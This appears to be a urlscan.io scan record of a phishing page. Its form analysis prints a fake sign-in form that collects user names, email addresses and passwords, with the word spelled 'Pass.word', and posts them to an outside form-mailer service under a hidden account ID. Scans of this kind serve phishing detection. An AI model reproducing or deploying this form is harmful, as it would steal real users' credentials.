centreswebceni.wapka.us Open in urlscan Pro
130.185.119.77  Public Scan

Form analysis
1 forms found in the DOM

POST https://www.response-o-matic.com/mail.php

<form enctype="multipart/form-data" method="post" action="https://www.response-o-matic.com/mail.php" accept-charset="UTF-8">
  <div>
    <input type="hidden" name="acctid" id="acctid" value="d5bhku4th5zt1n0l">
    <input type="hidden" name="formid" id="formid" value="1304578">
    <input type="hidden" name="required_vars" id="required_vars" value="name,email">
  </div>
  <table cellspacing="5" cellpadding="5" border="0">
    <tbody>
      <tr>
        <td valign="top">
          <strong>User-Name:</strong>
        </td>
        <td valign="top">
          <input type="text" name="name" id="name" size="30" value="">
        </td>
      </tr>
      <tr>
        <td valign="top">
          <strong>Email Address:</strong>
        </td>
        <td valign="top">
          <input type="text" name="email" id="email" size="30" value="">
        </td>
      </tr>
      <tr>
        <td valign="top">
          <strong>Pass.word:</strong>
        </td>
        <td valign="top">
          <input type="text" name="field-dd039919c02b60d" id="field-dd039919c02b60d" size="30" value="">
        </td>
      </tr>
      <tr>
        <td valign="top">
          <strong>Re-type pass.word:</strong>
        </td>
        <td valign="top">
          <input type="text" name="field-843660ae80d72ed" id="field-843660ae80d72ed" size="30" value="">
        </td>
      </tr>
      <tr>
        <td colspan="2" align="center">
          <input type="submit" value=" Sign in ">
        </td>
      </tr>
    </tbody>
  </table>
</form>

Text Content

User-Name: Email Address: Pass.word: Re-type pass.word: